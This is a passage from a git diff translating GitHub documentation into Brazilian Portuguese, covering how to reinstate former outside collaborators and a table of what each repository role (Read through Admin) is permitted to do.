-When an outside collaborator's access to your organization's private repositories is removed, the user's access privileges and settings are saved for three months. You can restore the user's privileges if you {% ifversion fpt or ghec %}invite{% else %}add{% endif %} them back to the organization within that time frame.
+Quando o acesso de um colaborador externo aos repositórios privados da sua organização é removido, os privilégios e configurações de acesso do usuário são salvos por três meses. Você poderá restaurar os privilégios do usuário se {% ifversion fpt or ghec %}convidá-lo{% else %}adicioná-lo{% endif %} novamente na organização durante esse período.
 
 {% data reusables.two_fa.send-invite-to-reinstate-user-before-2fa-is-enabled %}
 
-When you reinstate a former outside collaborator, you can restore:
- - The user's former access to organization repositories
- - Any private forks of repositories owned by the organization
- - Membership in the organization's teams
- - Previous access and permissions for the organization's repositories
- - Stars for organization repositories
- - Issue assignments in the organization
- - Repository subscriptions (notification settings for watching, not watching, or ignoring a repository's activity)
+Ao restabelecer um ex-colaborador externo, você pode restaurar:
+ - O acesso anterior do usuário aos repositórios da organização
+ - As bifurcações privadas de repositórios de propriedade da organização
+ - A associação nas equipes da organização
+ - Os acessos e permissões anteriores nos repositórios da organização
+ - As estrelas dos repositórios da organização
+ - As atribuições de problemas na organização
+ - As assinaturas do repositório (configurações de notificação para inspecionar, não inspecionar ou ignorar as atividades de um repositório)
 
 {% tip %}
 
-**Tips**:
+**Dicas**:
 
- - Only organization owners can reinstate outside collaborators' access to an organization. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)."
- - The reinstating a member flow on {% data variables.product.product_location %} may use the term "member" to describe reinstating an outside collaborator but if you reinstate this person and keep their previous privileges, they will only have their previous [outside collaborator permissions](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators).{% ifversion fpt or ghec %}
- - If your organization has a paid per-user subscription, an unused license must be available before you can invite a new member to join the organization or reinstate a former organization member. For more information, see "[About per-user pricing](/articles/about-per-user-pricing)."{% endif %}
+ - Somente proprietários da organização podem restabelecer o acesso de um colaborador externo à organização. Para obter mais informações, consulte "[Funções em uma organização](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)".
+ - O fluxo de restabelecimento de um integrante no {% data variables.product.product_location %} pode usar o termo "integrante" para descrever o restabelecimento de um colaborador externo, mas se você restabelecer o usuário e mantiver os privilégios anteriores, ele terá apenas as [permissões anteriores de colaborador externo](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators).{% ifversion fpt or ghec %}
+ - Se a organização tiver uma assinatura paga por usuário, ela deverá ter uma licença não utilizada disponível para você poder convidar um integrante para participar da organização ou restabelecer um ex-integrante da organização. Para obter mais informações, consulte "[Sobre preços por usuário](/articles/about-per-user-pricing)."{% endif %}
 
 {% endtip %}
 
@@ -45,37 +45,35 @@ When you reinstate a former outside collaborator, you can restore:
 {% data reusables.organizations.invite_member_from_people_tab %}
 {% data reusables.organizations.reinstate-user-type-username %}
 {% ifversion fpt or ghec %}
-1. Choose to restore the outside collaborator's previous privileges in the organization by clicking **Invite and reinstate** or choose to clear their previous privileges and set new access permissions by clicking **Invite and start fresh**.
+1. Escolha restaurar os privilégios anteriores do colaborador externo na organização clicando em **Invite and reinstate** (Convidar e restabelecer) ou escolha apagar os privilégios anteriores e definir novas permissões de acesso clicando em **Invite and start fresh** (Convidar e começar do zero).
 
   {% warning %}
 
-  **Warning:** If you want to upgrade the outside collaborator to a member of your organization, then choose **Invite and start fresh** and choose a new role for this person. Note, however, that this person's private forks of your organization's repositories will be lost if you choose to start fresh. To make the former outside collaborator a member of your organization *and* keep their private forks, choose **Invite and reinstate** instead. Once this person accepts the invitation, you can convert them to an organization member by [inviting them to join the organization as a member](/articles/converting-an-outside-collaborator-to-an-organization-member).
+  **Aviso:** se quiser converter um colaborador externo em um integrante da organização, selecione **Invite and start fresh** (Convidar e começar do zero) e escolha uma nova função para a pessoa. Mas se você optar por começar do zero, as bifurcações privadas de repositórios da organização desse usuário serão perdidas. Para converter o ex-colaborador externo em um integrante da organização *e* manter as bifurcações privadas dele, selecione **Invite and reinstate** (Convidar e restabelecer). Quando a pessoa aceitar o convite, você poderá fazer a conversão [convidando a pessoa para participar da organização como um integrante](/articles/converting-an-outside-collaborator-to-an-organization-member).
 
   {% endwarning %}
 
-  ![Choose to restore settings or not](/assets/images/help/organizations/choose_whether_to_restore_org_member_info.png)
+  ![Escolher se deseja restaurar as configurações](/assets/images/help/organizations/choose_whether_to_restore_org_member_info.png)
 {% else %}
-6. Choose to restore the outside collaborator's previous privileges in the organization by clicking **Add and reinstate** or choose to clear their previous privileges and set new access permissions by clicking **Add and start fresh**.
+6. Escolha restaurar os privilégios anteriores do colaborador externo na organização clicando em **Add and reinstate** (Adicionar e restabelecer) ou escolha apagar os privilégios anteriores e definir novas permissões de acesso clicando em **Add and start fresh** (Adicionar e começar do zero).
 
   {% warning %}
 
-  **Warning:** If you want to upgrade the outside collaborator to a member of your organization, then choose **Add and start fresh** and choose a new role for this person. Note, however, that this person's private forks of your organization's repositories will be lost if you choose to start fresh. To make the former outside collaborator a member of your organization *and* keep their private forks, choose **Add and reinstate** instead. Then, you can convert them to an organization member by [adding them to the organization as a member](/articles/converting-an-outside-collaborator-to-an-organization-member).
+  **Aviso:** se quiser converter um colaborador externo em um integrante da organização, selecione **Add and start fresh** (Adicionar e começar do zero) e escolha uma nova função para a pessoa. Mas se você optar por começar do zero, as bifurcações privadas de repositórios da organização desse usuário serão perdidas. Para converter o ex-colaborador externo em um integrante da organização *e* manter as bifurcações privadas dele, selecione **Add and reinstate** (Adicionar e restabelecer). Em seguida, converta-o em integrante da organização [adicionando ele à organização como um integrante](/articles/converting-an-outside-collaborator-to-an-organization-member).
 
   {% endwarning %}
 
-  ![Choose to restore settings or not](/assets/images/help/organizations/choose_whether_to_restore_org_member_info_ghe.png)
+  ![Escolher se deseja restaurar as configurações](/assets/images/help/organizations/choose_whether_to_restore_org_member_info_ghe.png)
 {% endif %}
 {% ifversion fpt or ghec %}
-7. If you cleared the previous privileges for a former outside collaborator, choose a role for the user and optionally add them to some teams, then click **Send invitation**.
-  ![Role and team options and send invitation button](/assets/images/help/organizations/add-role-send-invitation.png)
+7. Se você apagou os privilégios anteriores de um ex-colaborador externo, escolha uma função para o usuário e adicione-o em algumas equipes (opcional), depois clique em **Send invitation** (Enviar convite). ![Opções Role and team (Função e equipe) e botão send invitation (enviar convite)](/assets/images/help/organizations/add-role-send-invitation.png)
 {% else %}
-7. If you cleared the previous privileges for a former outside collaborator, choose a role for the user and optionally add them to some teams, then click **Add member**.
-  ![Role and team options and add member button](/assets/images/help/organizations/add-role-add-member.png)
+7. Se você apagou os privilégios anteriores de um ex-colaborador externo, escolha uma função para o usuário e adicione-o em algumas equipes (opcional), depois clique em **Add member** (Adicionar integrante). ![Opções Role and team (Função e equipe) e botão add member (adicionar integrante)](/assets/images/help/organizations/add-role-add-member.png)
 {% endif %}
 {% ifversion fpt or ghec %}
-8. The invited person will receive an email inviting them to the organization. They will need to accept the invitation before becoming an outside collaborator in the organization. {% data reusables.organizations.cancel_org_invite %}
+8. A pessoa convidada receberá um e-mail com um convite para participar da organização. Ela precisará aceitar o convite antes de se tornar um colaborador externo na organização. {% data reusables.organizations.cancel_org_invite %}
 {% endif %}
 
-## Further Reading
+## Leia mais
 
-- "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
+- "[Funções do repositório para uma organização](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
diff --git a/translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization.md b/translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization.md
index 0a64d782c9..4e00f25f60 100644
--- a/translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization.md
+++ b/translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Repository roles for an organization
-intro: 'You can customize access to each repository in your organization by assigning granular roles, giving people access to the features and tasks they need.'
+title: Funções de repositório para uma organização
+intro: 'É possível personalizar o acesso a cada repositório na sua organização atribuindo funções granulares, dando às pessoas acesso aos recursos e tarefas de que precisam.'
 miniTocMaxHeadingLevel: 3
 redirect_from:
   - /articles/repository-permission-levels-for-an-organization-early-access-program
@@ -15,162 +15,179 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Repository roles
+shortTitle: Funções do repositório
 ---
 
-## Repository roles for organizations
+## Funções de repositório para organizações
 
-You can give organization members, outside collaborators, and teams of people different levels of access to repositories owned by an organization by assigning them to roles. Choose the role that best fits each person or team's function in your project without giving people more access to the project than they need.
+Você pode conceder aos integrantes da organização, colaboradores externos, e equipes de pessoas de diferentes níveis de acesso a repositórios pertencentes a uma organização, atribuindo-lhes funções. Escolha a função mais adequado para a função de cada pessoa ou equipe do projeto, sem dar aos usuários um acesso mais abrangente do que o necessário.
 
-From least access to most access, the roles for an organization repository are:
-- **Read**: Recommended for non-code contributors who want to view or discuss your project
-- **Triage**: Recommended for contributors who need to proactively manage issues and pull requests without write access
-- **Write**: Recommended for contributors who actively push to your project
-- **Maintain**: Recommended for project managers who need to manage the repository without access to sensitive or destructive actions
-- **Admin**: Recommended for people who need full access to the project, including sensitive and destructive actions like managing security or deleting a repository
+De menor acesso à maioria do acesso, as funções para o repositório de uma organização são:
+- **Read** (Leitura): recomendado para contribuidores que não escrevem códigos e desejam visualizar ou discutir o projeto
+- **Triage** (Triagem): recomendado para contribuidores que precisam gerenciar proativamente problemas e pull requests sem acesso de gravação
+- **Write** (Gravação): recomendado para contribuidores que proativamente fazem push no projeto
+- **Maintain** (Manutenção): recomendado para gerentes de projeto que precisam gerenciar o repositório, mas não devem ter acesso a ações destrutivas ou confidenciais
+- **Admin** (Administrador): recomendado para usuários que precisam ter acesso completo ao projeto, incluindo ações confidenciais e destrutivas, como gerenciar a segurança e excluir um repositório
 
 {% ifversion fpt %}
-If your organization uses {% data variables.product.prodname_ghe_cloud %}, you can create custom repository roles. For more information, see "[Managing custom repository roles for an organization](/enterprise-cloud@latest/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)" in the {% data variables.product.prodname_ghe_cloud %} documentation.
+Se a sua organização usar o {% data variables.product.prodname_ghe_cloud %}, você poderá criar funções de repositórios personalizadas. Para obter mais informações, consulte "[Gerenciando funções personalizadas de repositórios para uma organização](/enterprise-cloud@latest/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)" na documentação de {% data variables.product.prodname_ghe_cloud %}.
 {% elsif ghec %}
-You can create custom repository roles. For more information, see "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)."
+Você pode criar funções de repositório personalizadas. Para obter mais informações, consulte "[Gerenciando as funções de repositórios personalizados para uma organização](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)".
 {% endif %}
 
-Organization owners can set base permissions that apply to all members of an organization when accessing any of the organization's repositories. For more information, see "[Setting base permissions for an organization](/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization#setting-base-permissions)."
+Os proprietários da organização podem definir permissões básicas que se aplicam a todos os integrantes da organização ao acessar qualquer um dos repositórios da organização. Para obter mais informações, consulte "[Configurar permissões básicas para uma organização](/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization#setting-base-permissions)".
 
-Organization owners can also choose to further limit access to certain settings and actions across the organization. For more information on options for specific settings, see "[Managing organization settings](/articles/managing-organization-settings)."
+Os proprietários da organização também podem optar por limitar ainda mais o acesso a configurações e ações específicas na organização. Para obter mais informações sobre as opções para configurações específicas, consulte "[Gerenciar as configurações da organização](/articles/managing-organization-settings)".
 
-In addition to managing organization-level settings, organization owners have admin access to every repository owned by the organization. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)."
+Além de gerenciar as configurações de nível de organização, os proprietários da organização têm acesso de administrador a todos os repositórios pertencentes à organização. Para obter mais informações, consulte "[Funções em uma organização](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)".
 
 {% warning %}
 
-**Warning:** When someone adds a deploy key to a repository, any user who has the private key can read from or write to the repository (depending on the key settings), even if they're later removed from the organization.
+**Aviso:** quando alguém adiciona uma chave de implantação a um repositório, qualquer usuário com a chave privada pode ler e gravar no repositório (dependendo das configurações da chave), mesmo que ele seja removido posteriormente da organização.
 
 {% endwarning %}
 
-## Permissions for each role
+## Permissões para cada função
 
 {% ifversion fpt %}
-Some of the features listed below are limited to organizations using {% data variables.product.prodname_ghe_cloud %}. {% data reusables.enterprise.link-to-ghec-trial %}
+Algumas das funcionalidades listadas abaixo estão limitadas a organizações que usam {% data variables.product.prodname_ghe_cloud %}. {% data reusables.enterprise.link-to-ghec-trial %}
 {% endif %}
 
 {% ifversion fpt or ghes or ghec %}
 {% note %}
 
-**Note:** The roles required to use security features are listed in "[Access requirements for security features](#access-requirements-for-security-features)" below.
+**Observação:** As funções necessárias para usar as funcionalidades de segurança estão listadas no "[Requisitos de acesso para as funcionalidades de segurança](#access-requirements-for-security-features)" abaixo.
 
 {% endnote %}
+
+{% endif %}
+| Ação no repositório                                                                                                                                                                                                                                                                                                                                                                                                                                                                | Leitura | Triagem | Gravação | Manutenção |                      Administrador                       |
+|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |:-------:|:-------:|:--------:|:----------:|:--------------------------------------------------------:|
+| Gerencie o acesso ao repositório de [equipes](/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository), [individuais](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository) e [colaboradores externos](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization) |         |         |          |            |                          **X**                           |
+| Fazer pull nos repositórios atribuídos ao usuário ou à equipe                                                                                                                                                                                                                                                                                                                                                                                                                      |  **X**  |  **X**  |  **X**   |   **X**    |                          **X**                           |
+| Bifurcar os repositórios atribuídos ao usuário ou à equipe                                                                                                                                                                                                                                                                                                                                                                                                                         |  **X**  |  **X**  |  **X**   |   **X**    |                          **X**                           |
+| Editar e excluir seus próprios comentários                                                                                                                                                                                                                                                                                                                                                                                                                                         |  **X**  |  **X**  |  **X**   |   **X**    |                          **X**                           |
+| Criar problemas                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |  **X**  |  **X**  |  **X**   |   **X**    |                          **X**                           |
+| Fechar os problemas que eles criaram                                                                                                                                                                                                                                                                                                                                                                                                                                               |  **X**  |  **X**  |  **X**   |   **X**    |                          **X**                           |
+| Reabrir problemas que eles fecharam                                                                                                                                                                                                                                                                                                                                                                                                                                                |  **X**  |  **X**  |  **X**   |   **X**    |                          **X**                           |
+| Ter um problema atribuído a eles                                                                                                                                                                                                                                                                                                                                                                                                                                                   |  **X**  |  **X**  |  **X**   |   **X**    |                          **X**                           |
+| Enviar pull requests de bifurcações dos repositórios atribuídos à equipe                                                                                                                                                                                                                                                                                                                                                                                                           |  **X**  |  **X**  |  **X**   |   **X**    |                          **X**                           |
+| Enviar revisões em pull requests                                                                                                                                                                                                                                                                                                                                                                                                                                                   |  **X**  |  **X**  |  **X**   |   **X**    |                          **X**                           |
+| Exibir as versões publicadas                                                                                                                                                                                                                                                                                                                                                                                                                                                       |  **X**  |  **X**  |  **X**   |   **X**    |            **X** |{% ifversion fpt or ghec %}
+| Visualizar [execuções de fluxo de trabalho no GitHub Actions](/actions/automating-your-workflow-with-github-actions/managing-a-workflow-run)                                                                                                                                                                                                                                                                                                                                       |  **X**  |  **X**  |  **X**   |   **X**    |                    **X** 
+{% endif %}
+| Editar wikis em repositórios públicos                                                                                                                                                                                                                                                                                                                                                                                                                                              |  **X**  |  **X**  |  **X**   |   **X**    |                          **X**                           |
+| Editar wikis em repositórios privados                                                                                                                                                                                                                                                                                                                                                                                                                                              |         |         |  **X**   |   **X**    |            **X** |{% ifversion fpt or ghec %}
+| [Denunciar conteúdo abusivo ou spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)                                                                                                                                                                                                                                                                                                                                                                       |  **X**  |  **X**  |  **X**   |   **X**    |                    **X** 
+{% endif %}
+| Aplicar/ignorar etiquetas                                                                                                                                                                                                                                                                                                                                                                                                                                                          |         |  **X**  |  **X**   |   **X**    |                          **X**                           |
+| Criar, editar, excluir etiquetas                                                                                                                                                                                                                                                                                                                                                                                                                                                   |         |         |  **X**   |   **X**    |                          **X**                           |
+| Fechar, reabrir e atribuir todos os problemas e pull requests                                                                                                                                                                                                                                                                                                                                                                                                                      |         |  **X**  |  **X**   |   **X**    | **X** |{% ifversion fpt or ghae or ghes > 3.0 or ghec %}
+| [Habilitar e desabilitar o merge automático em um pull request](/github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository)                                                                                                                                                                                                                                                                                                                       |         |         |  **X**   |   **X**    |                    **X** 
+{% endif %}
+| Aplicar marcos                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |         |  **X**  |  **X**   |   **X**    |                          **X**                           |
+| Marcar [problemas e pull requests duplicados](/articles/about-duplicate-issues-and-pull-requests)                                                                                                                                                                                                                                                                                                                                                                                  |         |  **X**  |  **X**   |   **X**    |                          **X**                           |
+| Solicitar [revisões de pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review)                                                                                                                                                                                                                                                                                                          |         |  **X**  |  **X**   |   **X**    |                          **X**                           |
+| Fazer merge de um [pull request](/github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)                                                                                                                                                                                                                                                                                                                                     |         |         |  **X**   |   **X**    |                          **X**                           |
+| Fazer push (gravar) nos repositórios atribuídos ao usuário ou à equipe                                                                                                                                                                                                                                                                                                                                                                                                             |         |         |  **X**   |   **X**    |                          **X**                           |
+| Editar e excluir comentários de qualquer usuário em commits, pull request e problemas                                                                                                                                                                                                                                                                                                                                                                                              |         |         |  **X**   |   **X**    |                          **X**                           |
+| [Ocultar comentários de qualquer usuário](/communities/moderating-comments-and-conversations/managing-disruptive-comments)                                                                                                                                                                                                                                                                                                                                                         |         |         |  **X**   |   **X**    |                          **X**                           |
+| [Bloquear conversas](/communities/moderating-comments-and-conversations/locking-conversations)                                                                                                                                                                                                                                                                                                                                                                                     |         |         |  **X**   |   **X**    |                          **X**                           |
+| Transferir problemas (consulte "[Transferir um problema para outro repositório](/articles/transferring-an-issue-to-another-repository)" para obter mais informações)                                                                                                                                                                                                                                                                                                               |         |         |  **X**   |   **X**    |                          **X**                           |
+| [Atuar como um proprietário do código designado de um repositório](/articles/about-code-owners)                                                                                                                                                                                                                                                                                                                                                                                    |         |         |  **X**   |   **X**    |                          **X**                           |
+| [Marcar uma pull request de rascunho como pronta para revisão](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request)                                                                                                                                                                                                                                                                             |         |         |  **X**   |   **X**    |                          **X**                           |
+| [Converter um pull request em rascunho](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request)                                                                                                                                                                                                                                                                                                    |         |         |  **X**   |   **X**    |                          **X**                           |
+| Enviar revisões que afetam a capacidade de merge de uma pull request                                                                                                                                                                                                                                                                                                                                                                                                               |         |         |  **X**   |   **X**    |                          **X**                           |
+| [Aplicar alterações sugeridas](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request) a pull requests                                                                                                                                                                                                                                                                                                     |         |         |  **X**   |   **X**    |                          **X**                           |
+| Criar [verificações de status](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks)                                                                                                                                                                                                                                                                                                                       |         |         |  **X**   |   **X**    |            **X** |{% ifversion fpt or ghec %}
+| Criar, editar, executar, reexecutar e cancelar [fluxos de trabalho no GitHub Actions](/actions/automating-your-workflow-with-github-actions/)                                                                                                                                                                                                                                                                                                                                      |         |         |  **X**   |   **X**    |                    **X** 
+{% endif %}
+| Criar e editar versões                                                                                                                                                                                                                                                                                                                                                                                                                                                             |         |         |  **X**   |   **X**    |                          **X**                           |
+| Exibir versões de rascunho                                                                                                                                                                                                                                                                                                                                                                                                                                                         |         |         |  **X**   |   **X**    |                          **X**                           |
+| Editar a descrição de um repositório                                                                                                                                                                                                                                                                                                                                                                                                                                               |         |         |          |   **X**    |        **X** |{% ifversion fpt or ghae or ghec %}
+| [Visualizar e instalar pacotes](/packages/publishing-and-managing-packages)                                                                                                                                                                                                                                                                                                                                                                                                        |  **X**  |  **X**  |  **X**   |   **X**    |                          **X**                           |
+| [Publicar pacotes](/packages/publishing-and-managing-packages/publishing-a-package)                                                                                                                                                                                                                                                                                                                                                                                                |         |         |  **X**   |   **X**    |                          **X**                           |
+|                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |         |         |          |            |                                                          |
+| {% ifversion fpt or ghes > 3.0 or ghec or ghae %}[Excluir e restaurar pacoes](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 %}[Excluir pacotes](/packages/learn-github-packages/deleting-a-package){% endif %}                                                                                                                                                                                                                              |         |         |          |            |                   **X** | {% endif %}
+| Gerenciar [tópicos](/articles/classifying-your-repository-with-topics)                                                                                                                                                                                                                                                                                                                                                                                                             |         |         |          |   **X**    |                          **X**                           |
+| Habilitar wikis e restringir editores de wiki                                                                                                                                                                                                                                                                                                                                                                                                                                      |         |         |          |   **X**    |                          **X**                           |
+| Habilitar quadros de projeto                                                                                                                                                                                                                                                                                                                                                                                                                                                       |         |         |          |   **X**    |                          **X**                           |
+| Configurar [merges de pull request](/articles/configuring-pull-request-merges)                                                                                                                                                                                                                                                                                                                                                                                                     |         |         |          |   **X**    |                          **X**                           |
+| Configurar [uma fonte de publicação para {% data variables.product.prodname_pages %}](/articles/configuring-a-publishing-source-for-github-pages)                                                                                                                                                                                                                                                                                                                                  |         |         |          |   **X**    |                          **X**                           |
+| [Fazer push em branches protegidos](/articles/about-protected-branches)                                                                                                                                                                                                                                                                                                                                                                                                            |         |         |          |   **X**    |                          **X**                           |
+| [Criar e editar cartões sociais do repositório](/articles/customizing-your-repositorys-social-media-preview)                                                                                                                                                                                                                                                                                                                                                                       |         |         |          |   **X**    |            **X** |{% ifversion fpt or ghec %}
+| Limitar [interações em um repositório](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)                                                                                                                                                                                                                                                                                                                                                |         |         |          |   **X**    |                    **X** 
+{% endif %}
+| Excluir um problema (consulte "[Excluir um problema](/articles/deleting-an-issue)")                                                                                                                                                                                                                                                                                                                                                                                                |         |         |          |            |                          **X**                           |
+| Fazer merge de pull requests em branches protegidos, mesmo sem revisões de aprovação                                                                                                                                                                                                                                                                                                                                                                                               |         |         |          |            |                          **X**                           |
+| [Definir os proprietários do código de um repositório](/articles/about-code-owners)                                                                                                                                                                                                                                                                                                                                                                                                |         |         |          |            |                          **X**                           |
+| Adicionar um repositório a uma equipe (consulte "[Gerenciar o acesso da equipe ao repositório de uma organização](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository#giving-a-team-access-to-a-repository)" para obter informações)                                                                                                                                                                              |         |         |          |            |                          **X**                           |
+| [Gerenciar o acesso dos colaboradores externos a um repositório](/articles/adding-outside-collaborators-to-repositories-in-your-organization)                                                                                                                                                                                                                                                                                                                                      |         |         |          |            |                          **X**                           |
+| [Alterar a visibilidade de um repositório](/articles/restricting-repository-visibility-changes-in-your-organization)                                                                                                                                                                                                                                                                                                                                                               |         |         |          |            |                          **X**                           |
+| Criar um modelo de repositório (consulte "[Criar um modelo de repositório](/articles/creating-a-template-repository)")                                                                                                                                                                                                                                                                                                                                                             |         |         |          |            |                          **X**                           |
+| Alterar as configurações do repositório                                                                                                                                                                                                                                                                                                                                                                                                                                            |         |         |          |            |                          **X**                           |
+| Gerenciar o acesso de equipe e de colaborador ao repositório                                                                                                                                                                                                                                                                                                                                                                                                                       |         |         |          |            |                          **X**                           |
+| Editar o branch padrão do repositório                                                                                                                                                                                                                                                                                                                                                                                                                                              |         |         |          |            | **X** |{% ifversion fpt or ghes > 3.0 or ghae or ghec %}
+| Renomeie o branch padrão do repositório (veja "[Renomear um branch](/github/administering-a-repository/renaming-a-branch)")                                                                                                                                                                                                                                                                                                                                                        |         |         |          |            |                          **X**                           |
+| Renomeie um branch diferente do branch padrão do repositório (veja "[Renomear um branch](/github/administering-a-repository/renaming-a-branch)")                                                                                                                                                                                                                                                                                                                                   |         |         |  **X**   |   **X**    |                    **X** 
+{% endif %}
+| Gerenciar webhooks e chaves de implantação                                                                                                                                                                                                                                                                                                                                                                                                                                         |         |         |          |            |            **X** |{% ifversion fpt or ghec %}
+| [Gerenciar as configurações do uso de dados para seu repositório privado](/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository)                                                                                                                                                                                                                                                                                     |         |         |          |            |                    **X** 
+{% endif %}
+| [Gerenciar a política de bifurcação de um repositório](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)                                                                                                                                                                                                                                                                                                                                         |         |         |          |            |                          **X**                           |
+| [Transferir repositório na organização](/articles/restricting-repository-creation-in-your-organization)                                                                                                                                                                                                                                                                                                                                                                            |         |         |          |            |                          **X**                           |
+| [Excluir ou transferir repositórios na organização](/articles/setting-permissions-for-deleting-or-transferring-repositories)                                                                                                                                                                                                                                                                                                                                                       |         |         |          |            |                          **X**                           |
+| [Arquivar repositórios](/articles/about-archiving-repositories)                                                                                                                                                                                                                                                                                                                                                                                                                    |         |         |          |            |            **X** |{% ifversion fpt or ghec %}
+| Exibir um botão de patrocinador (consulte "[Exibir um botão de patrocinador no seu repositório](/articles/displaying-a-sponsor-button-in-your-repository)")                                                                                                                                                                                                                                                                                                                        |         |         |          |            |                    **X** 
+{% endif %}
+| Criar referências de link automático para recursos externos, como JIRA ou Zendesk (consulte "[Configurar links automáticos para apontar para recursos externos](/articles/configuring-autolinks-to-reference-external-resources)")                                                                                                                                                                                                                                                 |         |         |          |            |            **X** |{% ifversion fpt or ghec %}
+| [Habilitar {% data variables.product.prodname_discussions %}](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository) em um repositório                                                                                                                                                                                                                                                                                                      |         |         |          |   **X**    |                          **X**                           |
+| [Criar e editar categorias](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository) para {% data variables.product.prodname_discussions %}                                                                                                                                                                                                                                                                                    |         |         |          |   **X**    |                          **X**                           |
+| [Mover uma discussão para uma categoria diferente](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)                                                                                                                                                                                                                                                                                                                                   |         |         |  **X**   |   **X**    |                          **X**                           |
+| [Transferir uma discussão](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository) para um novo repositório                                                                                                                                                                                                                                                                                                                                  |         |         |  **X**   |   **X**    |                          **X**                           |
+| [Gerenciar discussões fixadas](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)                                                                                                                                                                                                                                                                                                                                                       |         |         |  **X**   |   **X**    |                          **X**                           |
+| [Converter problemas para discussões em massa](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)                                                                                                                                                                                                                                                                                                                                       |         |         |  **X**   |   **X**    |                          **X**                           |
+| [Bloquear e desbloquear discussões](/discussions/managing-discussions-for-your-community/moderating-discussions)                                                                                                                                                                                                                                                                                                                                                                   |         |  **X**  |  **X**   |   **X**    |                          **X**                           |
+| [Converter individualmente problemas em discussões](/discussions/managing-discussions-for-your-community/moderating-discussions)                                                                                                                                                                                                                                                                                                                                                   |         |  **X**  |  **X**   |   **X**    |                          **X**                           |
+| [Criar novas discussões e comentar em discussões existentes](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)                                                                                                                                                                                                                                                                                                                       |  **X**  |  **X**  |  **X**   |   **X**    |                          **X**                           |
+| [Excluir uma discussão](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#deleting-a-discussion)                                                                                                                                                                                                                                                                                                                                        |         |  **X**  |          |   **X**    |      **X** |{% endif %}{% ifversion fpt or ghec %}
+| Crie [codespaces](/codespaces/about-codespaces)                                                                                                                                                                                                                                                                                                                                                                                                                                    |         |         |  **X**   |   **X**    |                    **X** 
 {% endif %}
 
-| Repository action | Read | Triage | Write | Maintain | Admin |
-|:---|:---:|:---:|:---:|:---:|:---:|
-| Manage [individual](/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository), [team](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository), and [outside collaborator](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization) access to the repository | | | | | **X** |
-| Pull from the person or team's assigned repositories | **X** | **X** | **X** | **X** | **X** |
-| Fork the person or team's assigned repositories | **X** | **X** | **X** | **X** | **X** |
-| Edit and delete their own comments | **X** | **X** | **X** | **X** | **X** |
-| Open issues | **X** | **X** | **X** | **X** | **X** |
-| Close issues they opened themselves | **X** | **X** | **X** | **X** | **X** |
-| Reopen issues they closed themselves | **X** | **X** | **X** | **X** | **X** |
-| Have an issue assigned to them | **X** | **X** | **X** | **X** | **X** |
-| Send pull requests from forks of the team's assigned repositories | **X** | **X** | **X** | **X** | **X** |
-| Submit reviews on pull requests | **X** | **X** | **X** | **X** | **X** |
